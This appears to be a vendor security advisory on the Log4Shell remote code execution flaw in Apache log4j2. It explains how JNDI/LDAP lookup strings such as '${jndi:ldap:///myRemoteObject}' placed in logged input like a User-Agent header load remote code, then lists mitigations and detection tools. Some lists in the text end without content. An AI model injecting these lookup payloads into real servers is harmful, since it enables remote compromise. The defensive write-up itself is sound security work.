

On Dec. 9, 2021, a remote code execution (RCE) vulnerability [1] in Apache log4j2 was identified, (dubbed “Log4Shell” by researchers), affecting massive amounts of servers all over the world.
As this vulnerability gains high traction worldwide, it’s important to note, that not only internet facing java applications are vulnerable, as user input can traverse to another non-internet facing machines and exploit these as well.
Over 70 proof-of-concept (POC) were published over the last weekend [2]. A patch has been released, and Log4j v2 should be updated to version 2.15.0.
Due to the nature of this vulnerability, and the fact that Log4j is widely used, Cyberint researchers believe that this vulnerability will be widely exploited in the near future.
Apache log4j 2 is an open-source Java-based logging utility, maintained by the Apache Foundation, and used broadly around the world.
The log4j library allows developers to log all kinds of data within their application, whether a user input, application errors or any other behavior of the application they wish to log. The developer will also be able to log different expressions, using special characters, most importantly in our case “{
” and “$
“.
These special characters can be used, for example, for getting system information. When inspecting the log "${java:version}"
, java will parse the "java:version
part, address it as what is called a “lookup” (using the Java Naming and Directory Interface (JNDI) JNDILookup plugin), and output from java’s configuration the java version running on the server.
Some of the use-cases that the developer will want to achieve while logging actions within its application, is to access directory objects. This can be used by the Lightweight Directory Access Protocol (LDAP). This protocol is the core behind CVE-2021-44228.
Commonly, a developer will use LDAP to access local directory objects, however, remote directories can be addressed too.
For instance, logging the text "${ldap://localhost:1234/o=myObject}"
will locate the "myObject"
class object from LDAP on the local server and use it to read different configurations.
When using both JNDI and LDAP, the developer can call remote objects, on other machines than the local one, such as: "${jndi:ldap:///myRemoteObject}"
that will fetch "myRemoteObject"
class from , which can be controlled by a threat actor to load
"myRemoteObject"
, and in turn, run malicious code on the remote server.
This remote command can be supplied in one of many ways. For example, a User-Agent field in an HTTP request, that will be logged by the developer, will cause a threat actor to run code on the remote server on his behalf.
Another example could be that the threat actor will cause an error in the application (I.e., providing wrong input), that will be logged by the app, and again, execute malicious code.
Several applications and services that can be vulnerable are:
With over a million suspected-to-be-vulnerable domains found by Cyberint Research Team, both internally and externally, the top 5 countries hosting vulnerable domains are United States, Japan, Brazil, Germany, and France:
log4j2.formatMsgNoLookups=true
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
JndiLookup
class from the classpath:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
tangxiaofeng7
POC [3] and verify these techniques do not affect the IPS/IDS vendor identification for this vulnerability.[1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2021-44228
[2] https://github.com/search?q=cve-2021-44228&ref=simplesearch
[3] https://github.com/tangxiaofeng7/cve-2021-44228-apache-log4j-rce
[4] https://github.com/logpresso/cve-2021-44228-scanner
[5] https://github.com/neo23x0/log4shell-detector
[6] https://github.com/neo23x0/signature-base/blob/master/yara/expl_log4j_cve_2021_44228.yar